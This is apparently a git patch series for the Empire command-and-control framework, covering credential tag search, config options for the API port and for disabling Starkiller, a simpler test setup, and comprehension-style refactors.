+++ b/CHANGELOG.md @@ -9,6 +9,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Upgrade Pydantic to v2 (@Vinnybod) - Update common FastAPI Dependencies to use 'Annotated' types for simpler code (@Vinnybod) +- Add tags search to credentials endpoints (@Vinnybod) +- Remove unused migration scripts (@Vinnybod) +- Simplify TestClient setup (@Vinnybod) ## [5.8.0] - 2023-11-06 diff --git a/empire/server/api/app.py b/empire/server/api/app.py index ad0cc221d..2ea83920e 100644 --- a/empire/server/api/app.py +++ b/empire/server/api/app.py @@ -66,7 +66,9 @@ def load_starkiller(v2App, ip, port): log.info(f"Starkiller served at http://localhost:{port}/index.html") -def initialize(secure: bool = False, ip: str = "0.0.0.0", port: int = 1337): +def initialize( + secure: bool = False, ip: str = "0.0.0.0", port: int = 1337, run: bool = True +): # Not pretty but allows us to use main_menu by delaying the import from empire.server.api.v2.agent import agent_api, agent_file_api, agent_task_api from empire.server.api.v2.bypass import bypass_api @@ -151,23 +153,26 @@ def shutdown_event(): cert_path = os.path.abspath("./empire/server/data/") - if not secure: - uvicorn.run( - v2App, - host=ip, - port=port, - log_config=None, - lifespan="on", - # log_level="info", - ) - else: - uvicorn.run( - v2App, - host=ip, - port=port, - log_config=None, - lifespan="on", - ssl_keyfile=f"{cert_path}/empire-priv.key", - ssl_certfile=f"{cert_path}/empire-chain.pem", - # log_level="info", - ) + if run: + if not secure: + uvicorn.run( + v2App, + host=ip, + port=port, + log_config=None, + lifespan="on", + # log_level="info", + ) + else: + uvicorn.run( + v2App, + host=ip, + port=port, + log_config=None, + lifespan="on", + ssl_keyfile=f"{cert_path}/empire-priv.key", + ssl_certfile=f"{cert_path}/empire-chain.pem", + # log_level="info", + ) + + return v2App diff --git a/empire/server/api/v2/credential/credential_api.py b/empire/server/api/v2/credential/credential_api.py index 2b7f69250..b35fadd74 100644 --- a/empire/server/api/v2/credential/credential_api.py +++ b/empire/server/api/v2/credential/credential_api.py @@ -1,4 +1,4 @@ -from fastapi import Depends, HTTPException +from fastapi import Depends, HTTPException, Query from starlette.responses import Response from starlette.status import HTTP_204_NO_CONTENT @@ -14,6 +14,7 @@ from empire.server.api.v2.shared_dependencies import CurrentSession from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse from empire.server.api.v2.tag import tag_api +from empire.server.api.v2.tag.tag_dto import TagStr from empire.server.core.db import models from empire.server.server import main @@ -54,11 +55,12 @@ async def read_credentials( db: CurrentSession, search: str | None = None, credtype: str | None = None, + tags: list[TagStr] | None = Query(None), ): credentials = list( map( lambda x: domain_to_dto_credential(x), - credential_service.get_all(db, search, credtype), + credential_service.get_all(db, search, credtype, tags), ) ) diff --git a/empire/server/common/converter/convert_authors.py b/empire/server/common/converter/convert_authors.py deleted file mode 100644 index abf9618a3..000000000 --- a/empire/server/common/converter/convert_authors.py +++ /dev/null @@ -1,104 +0,0 @@ -import fnmatch -import os - -from ruamel.yaml import YAML - -yaml = YAML() -yaml.indent(mapping=2, sequence=4, offset=2) -yaml.width = 120 - - -author_names = { - "@harmj0y": "Will Schroeder", - "@hubbl3": "Jake Krasnov", - "@Cx01N": "Anthony Rose", - "@S3cur3Th1sSh1t": "", - "@mattifestation": "Matt Graeber", - "@joevest": "Joe Vest", - "@424f424f": "", - "@gentilkiwi": "Benjamin Delpy", - "@tifkin_": "Lee Christensen", - "@JosephBialek": "Joseph Bialek", - "matterpreter": "Matt Hand", - "@n00py": "", - "@_wald0": "Andy Robbins", - "@cptjesus": "Rohan Vazarkar", - "@xorrior": "Chris Ross", - "@TweekFawkes": "Bryce Kunz", -} - - -author_links = { - "@harmj0y": "https://twitter.com/harmj0y", - "@hubbl3": "https://twitter.com/_hubbl3", - "@Cx01N": "https://twitter.com/Cx01N_", - "@S3cur3Th1sSh1t": "https://twitter.com/ShitSecure", - "@mattifestation": "https://twitter.com/mattifestation", - "@joevest": "https://twitter.com/joevest", - "@424f424f": "https://twitter.com/424f424f", - "@gentilkiwi": "https://twitter.com/gentilkiwi", - "@tifkin_": "https://twitter.com/tifkin_", - "@JosephBialek": "https://twitter.com/JosephBialek", - "matterpreter": "https://twitter.com/matterpreter", - "@n00py": "https://twitter.com/n00py1", - "@_wald0": "https://twitter.com/_wald0", - "@cptjesus": "https://twitter.com/cptjesus", - "@xorrior": "https://twitter.com/xorrior", - "@TweekFawkes": "https://twitter.com/TweekFawkes", -} - - -def convert_old_author(author): - name = "" - handle = "" - link = "" - if author.startswith("@"): - handle = author - if handle in author_names: - name = author_names[handle] - if handle in author_links: - link = author_links[handle] - else: - name = author - - return {"name": name, "handle": handle, "link": link} - - -if __name__ == "__main__": - # yaml.add_representer(type(None), represent_none) - root_path = "../../modules" - pattern = "*.yaml" - for root, _dirs, files in os.walk(root_path): - for filename in fnmatch.filter(files, pattern): - try: - file_path = os.path.join(root, filename) - - # don't load up any of the templates - if fnmatch.fnmatch(filename, "*template.yaml"): - continue - if fnmatch.fnmatch(filename, "*Covenant.yaml"): - continue - - with open(file_path) as stream: - yaml_dict = yaml.load(stream) - author_handles = yaml_dict["authors"] - - if author_handles is None: - continue - if len(author_handles) > 0: - if not isinstance(author_handles[0], str): - continue - - # split any author strings within the list with commas and convert to list - author_list = [] - for author in author_handles: - author_list.extend(author.split(",")) - - new_authors = list(map(convert_old_author, author_list)) - - yaml_dict["authors"] = new_authors - - with open(file_path, "w") as out: - yaml.dump(yaml_dict, out) - except Exception as e: - print(f"Error processing {file_path}: {e}") diff --git a/empire/server/common/converter/module_converter.py b/empire/server/common/converter/module_converter.py deleted file mode 100644 index 27c4b8580..000000000 --- a/empire/server/common/converter/module_converter.py +++ /dev/null @@ -1,96 +0,0 @@ -import fnmatch -import importlib.util -import os - -import yaml - -info_keys = { - "Name": "name", - "Authors": "authors", - "Description": "description", - "Software": "software", - "Techniques": "techniques", - "Tactics": "tactics", - "Background": "background", - "OutputExtension": "output_extension", - "NeedsAdmin": "needs_admin", - "OpsecSafe": "opsec_safe", - "Language": "language", - "MinLanguageVersion": "min_language_version", - "Comments": "comments", -} - - -def represent_none(self, _): - return self.represent_scalar("tag:yaml.org,2002:null", "") - - -def format_info(info: dict) -> dict: - ordered_dict = {} - - for old, new in info_keys.items(): - ordered_dict[new] = info[old] - - return ordered_dict - - -def format_options(options: dict) -> dict: - option_list = [] - - for key, value in options.items(): - option_list.append( - { - "name": key, - "description": value["Description"], - "required": value["Required"], - "value": value["Value"], - } - ) - - return {"options": option_list} - - -if __name__ == "__main__": - yaml.add_representer(type(None), represent_none) - root_path = "../../modules/python" - pattern = "*.py" - count = 0 - for root, _dirs, files in os.walk(root_path): - for filename in fnmatch.filter(files, pattern): - file_path = os.path.join(root, filename) - - # if 'eventvwr' not in file_path and 'seatbelt' not in file_path and 'logonpasswords' not in file_path \ - # and 'invoke_assembly' not in file_path.lower() and 'sherlock' not in file_path and 'kerberoast' not in file_path \ - # and 'watson' not in file_path and 'message.py' not in file_path and 'rick_astley' not in file_path \ - # and 'portscan' not in file_path and 'say.py' not in file_path and 'prompt' not in file_path and 'screenshot' not in file_path\ - # and 'clipboard' not in file_path: - # continue - - if count > 10: - break - - if os.path.exists(file_path[:-3] + ".yaml"): - continue - - # don't load up any of the templates - if fnmatch.fnmatch(filename, "*template.py"): - continue - - module_name = file_path.split(root_path)[-1][0:-3] - - with open(file_path) as stream: - spec = importlib.util.spec_from_file_location( - module_name + ".py", file_path[:-3] + ".py" - ) - imp_mod = importlib.util.module_from_spec(spec) - spec.loader.exec_module(imp_mod) - my_module = imp_mod.Module(None) - - info: dict = format_info(my_module.info) - options = format_options(my_module.options) - - info.update(options) - - with open(file_path[:-3] + ".yaml", "a") as out: - yaml.dump(info, out, sort_keys=False) - count += 1 diff --git a/empire/server/core/credential_service.py b/empire/server/core/credential_service.py index 715a8b07d..9c7820597 100644 --- a/empire/server/core/credential_service.py +++ b/empire/server/core/credential_service.py @@ -10,7 +10,9 @@ def __init__(self, main_menu): self.main_menu = main_menu @staticmethod - def get_all(db: Session, search: str = None, credtype: str = None): + def get_all( + db: Session, search: str = None, credtype: str = None, tags: list[str] = None + ): query = db.query(models.Credential) if search: @@ -23,6 +25,15 @@ def get_all(db: Session, search: str = None, credtype: str = None): ) ) + if tags: + tags_split = [tag.split(":", 1) for tag in tags] + query = query.join(models.Credential.tags).filter( + and_( + models.Tag.name.in_([tag[0] for tag in tags_split]), + models.Tag.value.in_([tag[1] for tag in tags_split]), + ) + ) + if credtype: query = query.filter(models.Credential.credtype == credtype) diff --git a/empire/test/conftest.py b/empire/test/conftest.py index 62e554049..92fe77400 100644 --- a/empire/test/conftest.py +++ b/empire/test/conftest.py @@ -6,7 +6,6 @@ from pathlib import Path import pytest -from fastapi import FastAPI from starlette.testclient import TestClient from empire.client.src.utils.data_util import get_random_string @@ -50,48 +49,14 @@ def client(): args = arguments.parent_parser.parse_args() import empire.server.server + from empire.server.api.app import initialize from empire.server.common.empire import MainMenu empire.server.server.main = MainMenu(args) - from empire.server.api.v2.agent import agent_api, agent_file_api, agent_task_api - from empire.server.api.v2.bypass import bypass_api - from empire.server.api.v2.credential import credential_api - from empire.server.api.v2.download import download_api - from empire.server.api.v2.host import host_api, process_api - from empire.server.api.v2.listener import listener_api, listener_template_api - from empire.server.api.v2.meta import meta_api - from empire.server.api.v2.module import module_api - from empire.server.api.v2.obfuscation import obfuscation_api - from empire.server.api.v2.plugin import plugin_api, plugin_task_api - from empire.server.api.v2.profile import profile_api - from empire.server.api.v2.stager import stager_api, stager_template_api - from empire.server.api.v2.tag import tag_api - from empire.server.api.v2.user import user_api - - v2App = FastAPI() - v2App.include_router(listener_template_api.router) - v2App.include_router(listener_api.router) - v2App.include_router(stager_template_api.router) - v2App.include_router(stager_api.router) - v2App.include_router(agent_task_api.router) - v2App.include_router(agent_file_api.router) - v2App.include_router(agent_api.router) - v2App.include_router(module_api.router) - v2App.include_router(bypass_api.router) - v2App.include_router(obfuscation_api.router) - v2App.include_router(profile_api.router) - v2App.include_router(plugin_api.router) - v2App.include_router(plugin_task_api.router) - v2App.include_router(credential_api.router) - v2App.include_router(host_api.router) - v2App.include_router(user_api.router) - v2App.include_router(process_api.router) - v2App.include_router(download_api.router) - v2App.include_router(meta_api.router) - v2App.include_router(tag_api.router) - - yield TestClient(v2App) + app = initialize(ip="localhost", run=False) + + yield TestClient(app) from empire.server.server import main From f263d17156541bb4d7e8de5b513d3f0ebdba27cf Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Thu, 16 Nov 2023 20:06:19 -0700 Subject: [PATCH 18/29] 5.8 additions (#730) * allow starkiller to be disabled * allow port to be configured via the config.yaml * changelog * allow for unset field --- CHANGELOG.md | 2 ++ docs/quickstart/configuration/server.md | 12 ++++++++++-- docs/restful-api/README.md | 14 +++++++------- empire/server/api/app.py | 6 +++++- empire/server/config.yaml | 3 +++ empire/server/core/config.py | 6 ++++++ empire/server/server.py | 2 +- 7 files changed, 34 insertions(+), 11 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 948b90367..87a01424a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,6 +12,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Add tags search to credentials endpoints (@Vinnybod) - Remove unused migration scripts (@Vinnybod) - Simplify TestClient setup (@Vinnybod) +- Allow Starkiller to be disabled (@Vinnybod) +- Allow API port to be configured from the config.yaml (@Vinnybod) ## [5.8.0] - 2023-11-06 diff --git a/docs/quickstart/configuration/server.md b/docs/quickstart/configuration/server.md index cbcf73886..84773c2f9 100644 --- a/docs/quickstart/configuration/server.md +++ b/docs/quickstart/configuration/server.md @@ -3,6 +3,14 @@ The Server configuration is managed via [empire/server/config.yaml](https://github.com/BC-SECURITY/Empire/blob/master/empire/client/config.yaml). * **suppress-self-cert-warning** - Suppress the http warnings when launching an Empire instance that uses a self-signed cert. + +* **api** - Configure the RESTful API. The only option is the port to run the API on. + +```yaml +api: + port: 1337 +``` + * **database** - Configure Empire's database. Empire defaults to SQLite and has the ability to run with MySQL. For more info on the database, see the [Database](database/README.md) section. SQLite - The location of the SQLite db file is configurable. @@ -21,8 +29,8 @@ database: use: mysql mysql: url: localhost - username: - password: + username: + password: database_name: ``` diff --git a/docs/restful-api/README.md b/docs/restful-api/README.md index 7b25260d5..fa941fc33 100644 --- a/docs/restful-api/README.md +++ b/docs/restful-api/README.md @@ -1,16 +1,17 @@ # RESTful API ## Introduction -The Empire v2 API is a RESTful API that provides access to the data in Empire. It was introduced in Empire 5.0 and replaced the old v1 API. -The API is powered by [FastAPI](https://fastapi.tiangolo.com/) and is available at [http://localhost:1337/api/v2/](http://localhost:1337/api/v2/). +The Empire v2 API is a RESTful API that provides access to the data in Empire. It was introduced in Empire 5.0 and replaced the old v1 API. +The API is powered by [FastAPI](https://fastapi.tiangolo.com/) and is available at [http://localhost:1337/api/v2/](http://localhost:1337/api/v2/). The Swagger UI is available at [http://localhost:1337/docs/](http://localhost:1337/docs/). -The docs here are to be used as a reference for the API and to explain nuances for interacting with it. For actual endpoint definitions, use the OpenAPI Spec. For explanations of what the heck a listener, stager, etc is, see the associated non-API documentation. +The docs here are to be used as a reference for the API and to explain nuances for interacting with it. For actual endpoint definitions, use the OpenAPI Spec. For explanations of what the heck a listener, stager, etc is, see the associated non-API documentation. The server can be launched by running `./ps-empire server` and can be connected to with the built-in client or [Starkiller](https://github.com/BC-SECURITY/Starkiller). By default, the RESTful API is started on port 1337, over HTTP without a certificate. This is because self-signed certs are blocked by most web browsers and Starkiller is used via a web browser. If launched with `--secure-api`, https will be used using the certificate located at `empire/server/data/empire.pem`, which is generated at startup. -The port can be changed by supplying `--restport ` on launch. +The port can be configured in the server `config.yaml` file by the `api.port` property. +It can also be set by supplying `--restport ` on launch, which will take precedence over the config file. ## API Authentication API Authentication is handled via JSON Web Tokens (JWT). @@ -55,7 +56,7 @@ options dictionary to contain the options that are required for associated stage and will be validated against the template. The options can be sent as strings, but Empire will still validate that they can be parsed to the correct type and raise an exception if it isn't correct. -They can be created, updated, and deleted via the API. +They can be created, updated, and deleted via the API. When creating a stager, there is an option to only "generate" instead of save. If `save=false`, then the stager will not be saved to the database, but will be returned in the response. If the stager is a file, then the response will contain a reference to the download uri for that file. @@ -101,7 +102,7 @@ is based on its internal IP address and name. ### Host Processes */api/v2/hosts/{host_id}/host-processes/* -Host processes are the processes that are scraped via the `ps` command on an agent. They are read-only via the API. +Host processes are the processes that are scraped via the `ps` command on an agent. They are read-only via the API. ### Downloads */api/v2/downloads* @@ -155,4 +156,3 @@ At the moment, there is only an endpoint for getting the version of the server. Users support basic CRUD operations via the API. There is also an endpoint for updating a user's password. Only an admin user can create and update other users. - diff --git a/empire/server/api/app.py b/empire/server/api/app.py index 2ea83920e..e7e04d64a 100644 --- a/empire/server/api/app.py +++ b/empire/server/api/app.py @@ -149,7 +149,11 @@ def shutdown_event(): setup_socket_events(sio, main) - load_starkiller(v2App, ip, port) + if empire_config.starkiller.enabled: + log.info("Starkiller enabled. Loading.") + load_starkiller(v2App, ip, port) + else: + log.info("Starkiller disabled. Not loading.") cert_path = os.path.abspath("./empire/server/data/") diff --git a/empire/server/config.yaml b/empire/server/config.yaml index 974ecc8de..fe168b4bf 100644 --- a/empire/server/config.yaml +++ b/empire/server/config.yaml @@ -1,4 +1,6 @@ suppress-self-cert-warning: true +api: + port: 1350 database: use: mysql mysql: @@ -40,6 +42,7 @@ database: # format is "192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8" ip-blacklist: "" starkiller: + enabled: false repo: git@github.com:BC-SECURITY/Starkiller-Sponsors.git directory: empire/server/api/v2/starkiller # Can be a branch, tag, or commit hash diff --git a/empire/server/core/config.py b/empire/server/core/config.py index dedee5559..79f6fabe7 100644 --- a/empire/server/core/config.py +++ b/empire/server/core/config.py @@ -17,11 +17,16 @@ def set_path(cls, v): return v +class ApiConfig(EmpireBaseModel): + port: int = 1337 + + class StarkillerConfig(EmpireBaseModel): repo: str = "bc-security/starkiller" directory: Path = "empire/server/api/v2/starkiller" ref: str = "main" auto_update: bool = True + enabled: bool | None = True class DatabaseDefaultObfuscationConfig(EmpireBaseModel): @@ -88,6 +93,7 @@ class EmpireConfig(EmpireBaseModel): supress_self_cert_warning: bool = Field( alias="supress-self-cert-warning", default=True ) + api: ApiConfig | None = ApiConfig() starkiller: StarkillerConfig database: DatabaseConfig plugins: dict[str, dict[str, str]] = {} diff --git a/empire/server/server.py b/empire/server/server.py index d67338ea7..8f1f62ef4 100755 --- a/empire/server/server.py +++ b/empire/server/server.py @@ -142,7 +142,7 @@ def run(args): check_recommended_configuration() if not args.restport: - args.restport = 1337 + args.restport = empire_config.api.port else: args.restport = int(args.restport[0]) From 884ffe7cb4367e2461d791c65c268e09fb31d27e Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Thu, 16 Nov 2023 20:08:07 -0700 Subject: [PATCH 19/29] Add flake8-comprehensions (#731) * Add flake8-comprehensions * update contributing.md --- .github/CONTRIBUTING.md | 1 - CHANGELOG.md | 1 + empire/client/client.py | 4 +- empire/client/src/EmpireCliState.py | 10 ++-- empire/client/src/Shortcut.py | 8 ++- empire/client/src/menus/InteractMenu.py | 10 ++-- empire/client/src/menus/ListenerMenu.py | 22 ++++---- empire/client/src/menus/PluginMenu.py | 9 ++-- empire/client/src/menus/ProxyMenu.py | 20 ++++---- empire/client/src/menus/UseMenu.py | 2 +- empire/client/src/menus/UseStagerMenu.py | 9 ++-- empire/server/api/v2/agent/agent_api.py | 16 +++--- empire/server/api/v2/agent/agent_dto.py | 2 +- empire/server/api/v2/agent/agent_file_dto.py | 6 +-- empire/server/api/v2/agent/agent_task_api.py | 24 ++++----- empire/server/api/v2/agent/agent_task_dto.py | 6 +-- empire/server/api/v2/bypass/bypass_api.py | 2 +- .../api/v2/credential/credential_api.py | 10 ++-- .../api/v2/credential/credential_dto.py | 2 +- empire/server/api/v2/download/download_api.py | 2 +- empire/server/api/v2/download/download_dto.py | 2 +- empire/server/api/v2/host/host_api.py | 2 +- empire/server/api/v2/host/process_api.py | 10 ++-- empire/server/api/v2/listener/listener_api.py | 4 +- empire/server/api/v2/listener/listener_dto.py | 49 ++++++++---------- .../api/v2/listener/listener_template_api.py | 10 ++-- empire/server/api/v2/module/module_api.py | 8 ++- empire/server/api/v2/module/module_dto.py | 29 +++++------ empire/server/api/v2/plugin/plugin_api.py | 8 ++- empire/server/api/v2/plugin/plugin_dto.py | 45 +++++++--------- .../server/api/v2/plugin/plugin_task_api.py | 18 +++---- .../server/api/v2/plugin/plugin_task_dto.py | 6 +-- empire/server/api/v2/stager/stager_api.py | 2 +- empire/server/api/v2/stager/stager_dto.py | 51 ++++++++----------- .../api/v2/stager/stager_template_api.py | 10 ++-- empire/server/api/v2/tag/tag_api.py | 2 +- empire/server/api/v2/user/user_api.py | 2 +- empire/server/common/helpers.py | 10 ++-- empire/server/common/pylnk.py | 12 ++--- empire/server/core/agent_service.py | 2 +- empire/server/core/agent_task_service.py | 2 +- empire/server/core/download_service.py | 2 +- empire/server/core/hooks_internal.py | 6 +-- empire/server/core/listener_service.py | 2 +- empire/server/core/plugin_service.py | 2 +- empire/server/core/stager_service.py | 8 +-- empire/server/core/tag_service.py | 2 +- empire/server/listeners/http.py | 2 +- empire/server/listeners/http_com.py | 2 +- empire/server/listeners/http_foreign.py | 2 +- empire/server/listeners/http_hop.py | 11 ++-- empire/server/listeners/port_forward_pivot.py | 2 +- empire/server/listeners/smb.py | 2 +- empire/test/test_agent_checkins_api.py | 4 +- pyproject.toml | 13 ++--- 55 files changed, 214 insertions(+), 296 deletions(-) diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md index cb4b7468c..12b044ac8 100644 --- a/.github/CONTRIBUTING.md +++ b/.github/CONTRIBUTING.md @@ -47,7 +47,6 @@ The `main` branch in `BC-SECURITY/Empire` automatically syncs. * We are using [psf/black](https://github.com/psf/black) for code formatting. * We are using [charliermarsh/ruff](https://github.com/charliermarsh/ruff) for linting. - * We are using the E, W, F, I, UP, and B rulesets. * After implementing your changes: 1. run `ruff . --fix` (or `poetry run ruff . --fix`). 2. run `black .` (or `poetry run black .`). diff --git a/CHANGELOG.md b/CHANGELOG.md index 87a01424a..ea78acfc5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Simplify TestClient setup (@Vinnybod) - Allow Starkiller to be disabled (@Vinnybod) - Allow API port to be configured from the config.yaml (@Vinnybod) +- Add flake8-comprehensions rules to ruff config (@Vinnybod) ## [5.8.0] - 2023-11-06 diff --git a/empire/client/client.py b/empire/client/client.py index e07ee318e..a2e31f94f 100644 --- a/empire/client/client.py +++ b/empire/client/client.py @@ -56,9 +56,7 @@ def get_completions(self, document, complete_event): word_before_cursor = document.get_word_before_cursor(WORD=True) try: - cmd_line = list( - map(lambda s: s.lower(), shlex.split(document.current_line)) - ) + cmd_line = [s.lower() for s in shlex.split(document.current_line)] if len(cmd_line) == 0: cmd_line.append("") except ValueError: diff --git a/empire/client/src/EmpireCliState.py b/empire/client/src/EmpireCliState.py index e68db785b..548196ee2 100644 --- a/empire/client/src/EmpireCliState.py +++ b/empire/client/src/EmpireCliState.py @@ -431,12 +431,10 @@ def get_agents(self): self.sio.on(f"agents/{session_id}/task", self.add_to_cached_results) # Get active agents - self.active_agents = list( - map( - lambda a: a["name"], - filter(lambda a: a["stale"] is not True, state.agents.values()), - ) - ) + self.active_agents = [ + a["name"] + for a in filter(lambda a: a["stale"] is not True, state.agents.values()) + ] return self.agents def get_modules(self): diff --git a/empire/client/src/Shortcut.py b/empire/client/src/Shortcut.py index 15b6e28bd..8ae9d44be 100644 --- a/empire/client/src/Shortcut.py +++ b/empire/client/src/Shortcut.py @@ -38,13 +38,13 @@ def get_dynamic_params(self) -> list[ShortcutParam]: return list(filter(lambda x: x.dynamic, self.params)) def get_dynamic_param_names(self) -> list[str]: - return list(map(lambda x: x.name, self.get_dynamic_params())) + return [x.name for x in self.get_dynamic_params()] def get_static_params(self) -> list[ShortcutParam]: return list(filter(lambda x: not x.dynamic, self.params)) def get_static_param_names(self) -> list[str]: - return list(map(lambda x: x.name, self.get_static_params())) + return [x.name for x in self.get_static_params()] def get_param(self, name: str) -> ShortcutParam | None: param = None @@ -70,9 +70,7 @@ def get_help_description(self) -> str: ) module = self.module - default_params = list( - map(lambda x: f"{x.name}: {x.value}", self.get_static_params()) - ) + default_params = [f"{x.name}: {x.value}" for x in self.get_static_params()] description = f"Tasks the agent to run module {module}." if len(default_params) > 0: description += " Default parameters include:\n" diff --git a/empire/client/src/menus/InteractMenu.py b/empire/client/src/menus/InteractMenu.py index e3421a1c0..165608e8f 100644 --- a/empire/client/src/menus/InteractMenu.py +++ b/empire/client/src/menus/InteractMenu.py @@ -42,12 +42,10 @@ def get_completions(self, document, complete_event, cmd_line, word_before_cursor if cmd_line[0] in ["interact"] and position_util( cmd_line, 2, word_before_cursor ): - active_agents = list( - map( - lambda a: a["name"], - filter(lambda a: a["stale"] is not True, state.agents.values()), - ) - ) + active_agents = [ + a["name"] + for a in filter(lambda a: a["stale"] is not True, state.agents.values()) + ] for agent in filtered_search_list(word_before_cursor, active_agents): yield Completion(agent, start_position=-len(word_before_cursor)) elif cmd_line[0] in ["display"] and position_util( diff --git a/empire/client/src/menus/ListenerMenu.py b/empire/client/src/menus/ListenerMenu.py index e2220a86f..fa1c80eaf 100644 --- a/empire/client/src/menus/ListenerMenu.py +++ b/empire/client/src/menus/ListenerMenu.py @@ -53,18 +53,16 @@ def list(self) -> None: Usage: list """ - listener_list = list( - map( - lambda x: [ - x["id"], - x["name"], - x["template"], - date_util.humanize_datetime(x["created_at"]), - x["enabled"], - ], - state.listeners.values(), - ) - ) + listener_list = [ + [ + x["id"], + x["name"], + x["template"], + date_util.humanize_datetime(x["created_at"]), + x["enabled"], + ] + for x in state.listeners.values() + ] listener_list.insert(0, ["ID", "Name", "Template", "Created At", "Enabled"]) table_util.print_table(listener_list, "Listeners List") diff --git a/empire/client/src/menus/PluginMenu.py b/empire/client/src/menus/PluginMenu.py index 3af5d3d34..c4a11a400 100644 --- a/empire/client/src/menus/PluginMenu.py +++ b/empire/client/src/menus/PluginMenu.py @@ -28,12 +28,9 @@ def list(self) -> None: Usage: list """ - plugins_list = list( - map( - lambda x: [x["name"], x["description"]], - state.get_active_plugins().values(), - ) - ) + plugins_list = [ + [x["name"], x["description"]] for x in state.get_active_plugins().values() + ] plugins_list.insert(0, ["Name", "Description"]) table_util.print_table(plugins_list, "Plugins") diff --git a/empire/client/src/menus/ProxyMenu.py b/empire/client/src/menus/ProxyMenu.py index e70180838..1059a9624 100644 --- a/empire/client/src/menus/ProxyMenu.py +++ b/empire/client/src/menus/ProxyMenu.py @@ -146,17 +146,15 @@ def list(self) -> None: Usage: list """ - proxies = list( - map( - lambda x: [ - self.proxy_list.index(x) + 1, - x["addr"], - x["port"], - x["proxytype"], - ], - self.proxy_list, - ) - ) + proxies = [ + [ + self.proxy_list.index(x) + 1, + x["addr"], + x["port"], + x["proxytype"], + ] + for x in self.proxy_list + ] proxies.insert(0, ["Hop", "Address", "Port", "Proxy Type"]) table_util.print_table(proxies, "Active Proxies") diff --git a/empire/client/src/menus/UseMenu.py b/empire/client/src/menus/UseMenu.py index 15d2bb7f3..3a595bbcf 100644 --- a/empire/client/src/menus/UseMenu.py +++ b/empire/client/src/menus/UseMenu.py @@ -48,7 +48,7 @@ def get_completions(self, document, complete_event, cmd_line, word_before_cursor cmd_line[0] == "set" and len(cmd_line) > 1 and cmd_line[1] == "bypasses" - and "bypasses" in map(lambda x: x.lower(), self.record_options.keys()) + and "bypasses" in (x.lower() for x in self.record_options.keys()) and position_util( cmd_line, where_am_i(cmd_line, word_before_cursor), word_before_cursor ) diff --git a/empire/client/src/menus/UseStagerMenu.py b/empire/client/src/menus/UseStagerMenu.py index 11fb56af6..8fc846d57 100644 --- a/empire/client/src/menus/UseStagerMenu.py +++ b/empire/client/src/menus/UseStagerMenu.py @@ -64,12 +64,9 @@ def use(self, module: str) -> None: listener_list = [] for key, value in self.record_options.items(): - values = list( - map( - lambda x: "\n".join(textwrap.wrap(str(x), width=35)), - value.values(), - ) - ) + values = [ + "\n".join(textwrap.wrap(str(x), width=35)) for x in value.values() + ] values.reverse() temp = [key] + values listener_list.append(temp) diff --git a/empire/server/api/v2/agent/agent_api.py b/empire/server/api/v2/agent/agent_api.py index 5bf925f47..01fb94093 100644 --- a/empire/server/api/v2/agent/agent_api.py +++ b/empire/server/api/v2/agent/agent_api.py @@ -65,7 +65,7 @@ def read_agent_checkins_all( checkins, total = agent_service.get_agent_checkins( db, agents, limit, (page - 1) * limit, start_date, end_date, order_direction ) - checkins = list(map(lambda x: domain_to_dto_agent_checkin(x), checkins)) + checkins = [domain_to_dto_agent_checkin(x) for x in checkins] return AgentCheckIns( records=checkins, @@ -93,7 +93,7 @@ def read_agent_checkins_aggregate( checkins = agent_service.get_agent_checkins_aggregate( db, agents, start_date, end_date, bucket_size ) - checkins = list(map(lambda x: domain_to_dto_agent_checkin_agg(x), checkins)) + checkins = [domain_to_dto_agent_checkin_agg(x) for x in checkins] return AgentCheckInsAggregate( records=checkins, @@ -114,12 +114,10 @@ async def read_agents( include_archived: bool = False, include_stale: bool = True, ): - agents = list( - map( - lambda x: domain_to_dto_agent(x), - agent_service.get_all(db, include_archived, include_stale), - ) - ) + agents = [ + domain_to_dto_agent(x) + for x in agent_service.get_all(db, include_archived, include_stale) + ] return {"records": agents} @@ -158,7 +156,7 @@ def read_agent_checkins( end_date, order_direction, ) - checkins = list(map(lambda x: domain_to_dto_agent_checkin(x), checkins)) + checkins = [domain_to_dto_agent_checkin(x) for x in checkins] return AgentCheckIns( records=checkins, diff --git a/empire/server/api/v2/agent/agent_dto.py b/empire/server/api/v2/agent/agent_dto.py index e0b1b7538..6e403038f 100644 --- a/empire/server/api/v2/agent/agent_dto.py +++ b/empire/server/api/v2/agent/agent_dto.py @@ -48,7 +48,7 @@ def domain_to_dto_agent(agent: models.Agent): archived=agent.archived, # Could make this a typed class later to match the schema proxies=to_proxy_dto(agent.proxies), - tags=list(map(lambda x: domain_to_dto_tag(x), agent.tags)), + tags=[domain_to_dto_tag(x) for x in agent.tags], ) diff --git a/empire/server/api/v2/agent/agent_file_dto.py b/empire/server/api/v2/agent/agent_file_dto.py index 280f48c44..cf9528de3 100644 --- a/empire/server/api/v2/agent/agent_file_dto.py +++ b/empire/server/api/v2/agent/agent_file_dto.py @@ -19,10 +19,8 @@ def domain_to_dto_file(file: models.AgentFile, children: list[models.AgentFile]) path=file.path, is_file=file.is_file, parent_id=file.parent_id, - downloads=list( - map(lambda x: domain_to_dto_download_description(x), file.downloads) - ), - children=list(map(lambda c: domain_to_dto_file(c, []), children)), + downloads=[domain_to_dto_download_description(x) for x in file.downloads], + children=[domain_to_dto_file(c, []) for c in children], ) diff --git a/empire/server/api/v2/agent/agent_task_api.py b/empire/server/api/v2/agent/agent_task_api.py index 638363798..43907e328 100644 --- a/empire/server/api/v2/agent/agent_task_api.py +++ b/empire/server/api/v2/agent/agent_task_api.py @@ -123,14 +123,12 @@ async def read_tasks_all_agents( q=query, ) - tasks_converted = list( - map( - lambda x: domain_to_dto_task( - x, include_full_input, include_original_output, include_output - ), - tasks, + tasks_converted = [ + domain_to_dto_task( + x, include_full_input, include_original_output, include_output ) - ) + for x in tasks + ] return AgentTasks( records=tasks_converted, @@ -175,14 +173,12 @@ async def read_tasks( q=query, ) - tasks_converted = list( - map( - lambda x: domain_to_dto_task( - x, 